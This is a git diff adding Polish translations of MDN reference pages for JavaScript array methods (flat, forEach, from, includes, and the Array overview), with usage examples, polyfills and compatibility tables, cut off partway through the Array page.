diff --git a/files/pl/web/javascript/referencje/obiekty/array/flat/index.html b/files/pl/web/javascript/referencje/obiekty/array/flat/index.html
new file mode 100644
index 0000000000..3c8de3a43c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/flat/index.html
@@ -0,0 +1,173 @@
+---
+title: Array.prototype.flat()
+slug: Web/JavaScript/Referencje/Obiekty/Array/flat
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
+---
+<div>{{JSRef}}</div>
+
+<div></div>
+
+<p>Metoda <code><strong>flat()</strong></code> tworzy nową tablicę ze wszystkich elementów, które są podtablicami, łącząc je rekursyjnie z podanym parametrem jak głęboko powinno nastąpić spłaszczenie.</p>
+
+<p class="hidden">\{{EmbedInteractiveExample("pages/js/array-flatten.html")}}</p>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>var newArray = arr</var>.flat(<em>[depth]</em>);</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>depth</code> {{optional_inline}}</dt>
+ <dd>Parametr ten określa jak głęboko zagnieżdżona tablica powinna być spłaszczona. Wartość domyślna to 1.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowa tablica składająca się z połączonych elementów podtablic.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Spłaszczanie_zagnieżdżonych_tablic">Spłaszczanie zagnieżdżonych tablic</h3>
+
+<pre class="brush: js">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+// [1, 2, 3, 4]
+
+var arr2 = [1, 2, [3, 4, [5, 6]]];
+arr2.flat();
+// [1, 2, 3, 4, [5, 6]]
+
+var arr3 = [1, 2, [3, 4, [5, 6]]];
+arr3.flat(2);
+// [1, 2, 3, 4, 5, 6]
+</pre>
+
+<h3 id="Spłaszczanie_i_puste_miejsca_tablicy">Spłaszczanie i puste miejsca tablicy</h3>
+
+<p>Metoda flat() usuwa puste miejsca w tablicy:</p>
+
+<pre class="brush: js">var arr4 = [1, 2, , 4, 5];
+arr4.flat();
+// [1, 2, 4, 5]
+</pre>
+
+<h2 id="Alternatywa">Alternatywa</h2>
+
+<h3 id="reduce_i_concat"><code>reduce</code> i <code>concat</code></h3>
+
+<pre class="brush: js">var arr1 = [1, 2, [3, 4]];
+arr1.flat();
+
+//to flat single level array
+arr1.reduce((acc, val) =&gt; acc.concat(val), []);// [1, 2, 3, 4]
+
+//or
+const flatSingle = arr =&gt; [].concat(...arr);
+</pre>
+
+
+
+<pre class="brush: js">//to enable deep level flatten use recursion with reduce and concat
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+
+function flattenDeep(arr1) {
+ return arr1.reduce((acc, val) =&gt; Array.isArray(val) ? acc.concat(flattenDeep(val)) : acc.concat(val), []);
+}
+flattenDeep(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+
+
+<pre class="brush: js">//non recursive flatten deep using a stack
+var arr1 = [1,2,3,[1,2,3,4, [2,3,4]]];
+function flatten(input) {
+ const stack = [...input];
+ const res = [];
+ while (stack.length) {
+ // pop value from stack
+ const next = stack.pop();
+ if (Array.isArray(next)) {
+ // push back array items, won't modify the original input
+ stack.push(...next);
+ } else {
+ res.push(next);
+ }
+ }
+ //reverse to restore input order
+ return res.reverse();
+}
+flatten(arr1);// [1, 2, 3, 1, 2, 3, 4, 2, 3, 4]
+</pre>
+
+
+
+<pre class="brush: js">//recursive flatten deep
+function flatten(array) {
+ var flattend = [];
+ !(function flat(array) {
+ array.forEach(function(el) {
+ if (Array.isArray(el)) flat(el);
+ else flattend.push(el);
+ });
+ })(array);
+ return flattend;
+}
+</pre>
+
+
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.flat) {
+ Array.prototype.flat = function(depth) {
+  var flattend = [];
+  (function flat(array, depth) {
+  for (let el of array) {
+  if (Array.isArray(el) &amp;&amp; depth &gt; 0) {
+  flat(el, depth - 1);
+  } else {
+ flattend.push(el);
+ }
+  }
+  })(this, Math.floor(depth) || 1);
+  return flattend;
+  };
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td><a href="https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flat"><code>Array.prototype.flat</code> proposal</a></td>
+ <td>Finished (4)</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.flat")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.flatMap()")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html b/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html
new file mode 100644
index 0000000000..6968498311
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/foreach/index.html
@@ -0,0 +1,104 @@
+---
+title: Array.prototype.forEach()
+slug: Web/JavaScript/Referencje/Obiekty/Array/forEach
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wykonuje dostarczoną funkcję jeden raz na każdy element tablicy.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.forEach(<var>callback</var>[, <var>thisArg</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funkcja wykonywana dla każdego elementu.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Obiekt na który będzie wskazywał <code>this</code>, gdy wykonana zostanie funkcja zwrotna <code>callback</code>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>forEach</code> wykonuje dostarczoną funkcje <code>callback</code> raz dla każdego elementu tablicy. Funkcja <code>callback</code> wywoływana jest jedynie dla indeksów tablicy, którym została przypisana wartość; nie jest wywoływana dla indeksów, które zostały usunięte i tych, którym nigdy nie została przypisana żadna wartość.</p>
+
+<p>Funkcja <code>callback</code> jest wywoływana z trzema argumentami: wartością elementu, jego indeksem i obiektem tablicy, w którym się ten element zawiera.</p>
+
+<p>Jeśli parametr <code>thisArg</code> został dostarczony do metody <code>forEach</code>, będzie on wskazywany przez <code>this</code> dla każdego wywołania funkcji <code>callback</code>. W przypadku, gdy nie został on przekazany lub jego wartość jest równa <code>null</code>, <code>this</code> będzie się odnosić do obiektu globalnego połączonego z funkcją <code>callback</code>.</p>
+
+<p>Metoda <code>forEach</code> nie modyfikuje tablicy na której jest wywołana.</p>
+
+<p>Zakres elementów przetwarzanych przez <code>forEach</code> jest ustawiany przed pierwszym wywołaniem funkcji <code>callback</code>. Elementy dołączone do końca tablicy po momencie wywołania <code>forEach</code> nie są przesyłane do funkcji <code>callback</code>. Jeśli istniejące elementy tablicy są zmieniane lub usuwane, to wartość przesyłana do funkcji <code>callback</code> odpowiada wartości w momencie, w którym <code>forEach</code> się o nie zwróci; elementy usunięte zanim zostaną odwiedzone nie zostaną odwiedzone. Jeżeli element już odwiedzony zostanie usunięty (nastąpi skrócenie tablicy), element tablicy w kolejności po obecnie odwiedzanym zostanie pominięty.</p>
+
+<h3 id="Kompatybilno.C5.9B.C4.87" name="Kompatybilno.C5.9B.C4.87">Kompatybilność</h3>
+
+<p><code>forEach</code> jest rozszerzeniem JavaScript dla standardu ECMA-262, więc może nie być obecny w innych implementacjach tego standardu. Można to obejść, dopisując poniższy kod na początku skryptu, zezwalający na użycie <code>forEach</code> w implementacji ECMA-262, które nie wspierają tego natywnie.</p>
+
+<pre class="brush: js">if (!Array.prototype.forEach)
+{
+ Array.prototype.forEach = function(fun /*, thisp*/)
+ {
+ var len = this.length;
+ if (typeof fun != "function")
+ throw new TypeError();
+
+ var thisp = arguments[1];
+ for (var i = 0; i &lt; len; i++)
+ {
+ if (i in this)
+ fun.call(thisp, this[i], i, this);
+ }
+ };
+}
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy" name="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy">Przykład: Drukowanie zawartości tablicy</h3>
+
+<p>Następujący kod drukuje linie dla każdego elementu w tablicy (i przyjmuje obecność funkcji <code>print</code> do wywołania!):</p>
+
+<pre class="brush: js">function printElt(element, index, array) {
+ print("[" + index + "] jest " + element);
+}
+[2, 5, 9].forEach(printElt);
+// Wydrukuje:
+// [0] jest 2
+// [1] jest 5
+// [2] jest 9
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy_z_metod.C4.85_obiektu" name="Przyk.C5.82ad:_Drukowanie_zawarto.C5.9Bci_tablicy_z_metod.C4.85_obiektu">Przykład: Drukowanie zawartości tablicy z metodą obiektu</h3>
+
+<p>Następujący kod tworzy prosty obiekt wypisujący i następnie stosuje metodę <code>writeln</code> do wypisania jednej linii na element w tablicy (przyjmuje obecność funkcji <code>print</code> do wywołania!):</p>
+
+<pre class="brush: js">var writer = {
+ sb: [],
+ write: function (s) {
+ this.sb.push(s);
+ },
+ writeln: function (s) {
+ this.write(s + "\n");
+ },
+ toString: function () {
+ return this.sb.join("");
+ }
+};
+
+[2, 5, 9].forEach(writer.writeln, writer);
+print(writer.toString());
+
+// Wydrukuje:
+// 2
+// 5
+// 9
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/from/index.html b/files/pl/web/javascript/referencje/obiekty/array/from/index.html
new file mode 100644
index 0000000000..bd5f0294de
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/from/index.html
@@ -0,0 +1,248 @@
+---
+title: Array.from()
+slug: Web/JavaScript/Referencje/Obiekty/Array/from
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/from
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Array.from() </strong></code> metoda tworzy nową instację tablicy z obiektu podobnego do tablicy lub obiektu iterowalnego.</p>
+
+<p>W ES2015, składania klas dopuszcza dziedziczenie obu rodzajów klas: wbudowanych oraz zdefiniowanych przez programistę; w rezultacie, statyczne metody jak <code><strong>Array.from</strong></code> są "dziedziczone" przez klasę pochodną i tworzą nową instancję klasy pochodnej, a nie klasy <code><strong>Array</strong></code>.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Array.from(arrayLike[, mapFn[, thisArg]])
+</code></pre>
+
+<h3 id="Argumenty">Argumenty</h3>
+
+<dl>
+ <dt><code>arrayLike</code></dt>
+ <dd>Obiekt podobny do tablicy lub iterowalny.</dd>
+ <dt><code>mapFn</code></dt>
+ <dd>Opcjonalny. Funkcja mapująca wywoływany z każdym elementem tablicy.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Opcjonalny. Wartość używana jako <code>this</code> podczas wykonywania <code>mapFn</code>.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>Array.from()</code> pozwala tworzyć tablicę z:</p>
+
+<ul>
+ <li>obiektu podobnego do tablicy (obiekt z właściwością <code>length</code> property oraz liczbowymi elementami)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable objects</a> (objects where you can get its elements, such as {{jsxref("Map")}} and {{jsxref("Set")}}).</li>
+</ul>
+
+<p><code>Array.from()</code> has an optional parameter <code>mapFn</code>, which allows you to execute a {{jsxref("Array.prototype.map", "map")}} function on each element of the array (or subclass object) that is being created. More clearly,<code> Array.from(obj, mapFn, thisArg)</code> is the same as <code>Array.from(obj).map(mapFn, thisArg)</code>, except that it does not create an intermediate array. This is especially important for certain array subclasses, like <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>, since the intermediate array would necessarily have values truncated to fit into the appropriate type.</p>
+
+<p>The <code>length</code> property of the <code>from()</code> method is 1.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">// Array-like object (arguments) to Array
+function f() {
+ return Array.from(arguments);
+}
+
+f(1, 2, 3);
+// [1, 2, 3]
+
+
+// Any iterable object...
+// Set
+var s = new Set(["foo", window]);
+Array.from(s);
+// ["foo", window]
+
+
+// Map
+var m = new Map([[1, 2], [2, 4], [4, 8]]);
+Array.from(m);
+// [[1, 2], [2, 4], [4, 8]]
+
+
+// String
+Array.from("foo");
+// ["f", "o", "o"]
+
+
+// Using an arrow function as the map function to
+// manipulate the elements
+Array.from([1, 2, 3], x =&gt; x + x);
+// [2, 4, 6]
+
+
+// Generate a sequence of numbers
+Array.from({length: 5}, (v, k) =&gt; k);
+// [0, 1, 2, 3, 4]
+
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>Array.from</code> was added to the ECMA-262 standard in the 6th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>Array.from</code> in implementations that don't natively support it.  This algorithm is exactly the one specified in ECMA-262, 6th edition, assuming <code>Object</code> and <code>TypeError</code> have their original values and that <code>callback.call</code> evaluates to the original value of {{jsxref("Function.prototype.call")}}. In addition, since true iterables can not be polyfilled, this implementation does not support generic iterables as defined in the 6th edition of ECMA-262.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 6, 22.1.2.1
+// Reference: https://people.mozilla.org/~jorendorff/es6-draft.html#sec-array.from
+if (!Array.from) {
+ Array.from = (function () {
+ var toStr = Object.prototype.toString;
+ var isCallable = function (fn) {
+ return typeof fn === 'function' || toStr.call(fn) === '[object Function]';
+ };
+ var toInteger = function (value) {
+      var number = Number(value);
+      if (isNaN(number)) { return 0; }
+      if (number === 0 || !isFinite(number)) { return number; }
+      return (number &gt; 0 ? 1 : -1) * Math.floor(Math.abs(number));
+   };
+ var maxSafeInteger = Math.pow(2, 53) - 1;
+ var toLength = function (value) {
+      var len = toInteger(value);
+ return Math.min(Math.max(len, 0), maxSafeInteger);
+    };
+
+ // The length property of the from method is 1.
+ return function from(arrayLike/*, mapFn, thisArg */) {
+ // 1. Let C be the this value.
+ var C = this;
+
+ // 2. Let items be ToObject(arrayLike).
+ var items = Object(arrayLike);
+
+ // 3. ReturnIfAbrupt(items).
+ if (arrayLike == null) {
+ throw new TypeError("Array.from requires an array-like object - not null or undefined");
+ }
+
+ // 4. If mapfn is undefined, then let mapping be false.
+ var mapFn = arguments.length &gt; 1 ? arguments[1] : void undefined;
+ var T;
+ if (typeof mapFn !== 'undefined') {
+ // 5. else
+ // 5. a If IsCallable(mapfn) is false, throw a TypeError exception.
+ if (!isCallable(mapFn)) {
+ throw new TypeError('Array.from: when provided, the second argument must be a function');
+ }
+
+ // 5. b. If thisArg was supplied, let T be thisArg; else let T be undefined.
+     if (arguments.length &gt; 2) {
+ T = arguments[2];
+ }
+ }
+
+ // 10. Let lenValue be Get(items, "length").
+ // 11. Let len be ToLength(lenValue).
+ var len = toLength(items.length);
+
+ // 13. If IsConstructor(C) is true, then
+ // 13. a. Let A be the result of calling the [[Construct]] internal method of C with an argument list containing the single item len.
+ // 14. a. Else, Let A be ArrayCreate(len).
+ var A = isCallable(C) ? Object(new C(len)) : new Array(len);
+
+ // 16. Let k be 0.
+ var k = 0;
+ // 17. Repeat, while k &lt; len… (also steps a - h)
+ var kValue;
+ while (k &lt; len) {
+ kValue = items[k];
+ if (mapFn) {
+ A[k] = typeof T === 'undefined' ? mapFn(kValue, k) : mapFn.call(T, kValue, k);
+ } else {
+ A[k] = kValue;
+ }
+ k += 1;
+ }
+ // 18. Let putStatus be Put(A, "length", len, true).
+ A.length = len;
+ // 20. Return A.
+ return A;
+ };
+ }());
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.from', 'Array.from')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.from', 'Array.from')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Edge</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("45")}}</td>
+ <td>{{CompatGeckoDesktop("32")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>9.0</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("32")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.prototype.map()")}}</li>
+ <li>{{jsxref("TypedArray.from()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/includes/index.html b/files/pl/web/javascript/referencje/obiekty/array/includes/index.html
new file mode 100644
index 0000000000..526e660571
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/includes/index.html
@@ -0,0 +1,110 @@
+---
+title: Array.prototype.includes()
+slug: Web/JavaScript/Referencje/Obiekty/Array/includes
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/includes
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>includes()</strong></code> ustala czy dana tablica posiada szukany element, zwracając <code>true</code> lub <code>false.</code></p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">var<code><var> boolean = array</var>.includes(<var>searchElement</var>[, <var>fromIndex</var>])</code></pre>
+
+<h3 id="Zwraca">Zwraca</h3>
+
+<p>{{jsxref("Boolean")}}.</p>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Szukany element.</dd>
+ <dt><code>fromIndex</code></dt>
+ <dd>Opcjonalne. Jest to pozycja w tablicy, od której rozpoczyna się szukanie elementu <code>searchElement</code>. Ujemna wartość przeszukuje tablicę od końca tablicy. Domyślna wartość wynosi 0.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">[1, 2, 3].includes(2); // true
+[1, 2, 3].includes(4); // false
+[1, 2, 3].includes(3, 3); // false
+[1, 2, 3].includes(3, -1); // true
+[1, 2, NaN].includes(NaN); // true
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Array.prototype.includes) {
+  Array.prototype.includes = function(searchElement /*, fromIndex*/ ) {
+  'use strict';
+    var O = Object(this);
+    var len = parseInt(O.length) || 0;
+    if (len === 0) {
+      return false;
+    }
+    var n = parseInt(arguments[1]) || 0;
+    var k;
+    if (n &gt;= 0) {
+      k = n;
+    } else {
+      k = len + n;
+      if (k &lt; 0) {k = 0;}
+    }
+    var currentElement;
+    while (k &lt; len) {
+      currentElement = O[k];
+      if (searchElement === currentElement ||
+         (searchElement !== searchElement &amp;&amp; currentElement !== currentElement)) { // NaN !== NaN
+        return true;
+      }
+      k++;
+    }
+    return false;
+  };
+}
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+ <td>{{Spec2('ES7')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>
+ <p> </p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.includes")}}</p>
+</div>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.findIndex()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/index.html b/files/pl/web/javascript/referencje/obiekty/array/index.html
new file mode 100644
index 0000000000..5cfe52578b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/index.html
@@ -0,0 +1,279 @@
+---
+title: Array
+slug: Web/JavaScript/Referencje/Obiekty/Array
+tags:
+ - Array
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<div>{{JSRef("Global_Objects", "Array")}}</div>
+
+<p><code>Array</code>  w języku JavaScript jest globalnym obiektem, który jest używany podczas tworzenia tablic – listo-podobnych obieków wysokiego poziomu.</p>
+
+<div class="boxed translate-rendered">
+<p><strong>Stwórz tablicę</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> owoce <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'Jabłko'</span><span class="punctuation token">,</span> <span class="string token">'Banan'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>owoce<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// 2</span></code></pre>
+</div>
+
+<p><strong>Dostawanie się do elementu tablicy</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> pierwszy <span class="operator token">=</span> owoce<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="comment token">// Jablko</span>
+
+<span class="keyword token">var</span> ostatni <span class="operator token">=</span> owoce<span class="punctuation token">[</span>owoce<span class="punctuation token">.</span>length <span class="operator token">-</span> <span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="comment token">// Banan</span></code></pre>
+
+<p><strong>Pętla przechodząca przez zawartość tablicy</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">owoce<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>item<span class="punctuation token">,</span> index<span class="punctuation token">,</span> array<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>item<span class="punctuation token">,</span> index<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// Jablko 0</span>
+<span class="comment token">// Banan 1</span></code></pre>
+
+<p><strong>Dodawanie elementu na końcu tablicy</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> nowaDługosc <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span><span class="string token">'Pomarańcz'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Jabłko", "Banan", "Pomarańcz"]</span></code></pre>
+
+<p><strong>Usuwanie elemetu z końca tablicy</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> ostatni <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">pop</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// usuwa pomarańczę z końca</span>
+<span class="comment token">// ["Jabłko", "Banan"];</span></code></pre>
+
+<p><strong>Usuwanie elementu z przodu tablicy</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> pierwszy <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">shift</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// usuwa jabłko z początku</span>
+<span class="comment token">// ["Banan"];</span></code></pre>
+
+<p><strong>Dodawanie elementu z przodu tablicy</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> nowaDługość <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">unshift</span><span class="punctuation token">(</span><span class="string token">'Truskawki'</span><span class="punctuation token">)</span> <span class="comment token">// dodaje na początku</span>
+<span class="comment token">// ["Truskawkę", "Banan"];</span></code></pre>
+
+<p><strong>Znajdowanie indeksu (numeru porządkowego) elementu t tablicy</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">owoce<span class="punctuation token">.</span><span class="function token">push</span><span class="punctuation token">(</span><span class="string token">'Mango'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Truskawka", "Banan", "Mango"]</span>
+
+<span class="keyword token">var</span> pos <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">indexOf</span><span class="punctuation token">(</span><span class="string token">'Banan'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// 1</span></code></pre>
+
+<p><strong>Usuwanie obiektu przy użyciu indeksu </strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> usunElement <span class="operator token">=</span> owoce<span class="punctuation token">.</span><span class="function token">splice</span><span class="punctuation token">(</span>pos<span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// tak się usuwa element</span>
+
+<span class="comment token">// ["Truskawka", "Mango"]</span></code></pre>
+
+<p><strong>Usuwanie elementów przy użyciu pozycji w indeksie</strong></p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> warzywa <span class="operator token">=</span> <span class="punctuation token">["</span><span class="string token">Kapusta"</span><span class="punctuation token">,</span> "<span class="string token">Rzepa</span><span class="punctuation token">",</span> "<span class="string token">Rzodkiew"</span><span class="punctuation token">,</span> "<span class="string token">Marchew"</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(warzywa</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// </span><span class="punctuation token">[</span><span class="string token">"Kapusta"</span><span class="punctuation token">,</span> "<span class="string token">Rzepa"</span><span class="punctuation token">,</span> "<span class="string token">Rzodkiew"</span><span class="punctuation token">,</span> "<span class="string token">Marchew"</span><span class="punctuation token">]</span>
+
+<span class="keyword token">var</span> pos <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">,</span> n <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> usunieteElementy <span class="operator token">=</span> warzywa<span class="punctuation token">.</span><span class="function token">splice</span><span class="punctuation token">(</span>pos<span class="punctuation token">,</span> n<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// n oznacza liczbę elementów do usunięcia</span>
+<span class="comment token">// zaczynając od elementu na określonej pozycji(pos)</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>warzywa<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Kapusta", "Marchew"] (początkowa tablica została zmieniona)</span>
+
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>usunieteElementy<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="comment token">// ["Rzepa", "Rzodkiew"]</span></code>
+</pre>
+
+<p><strong>Kopiowanie tablicy</strong></p>
+
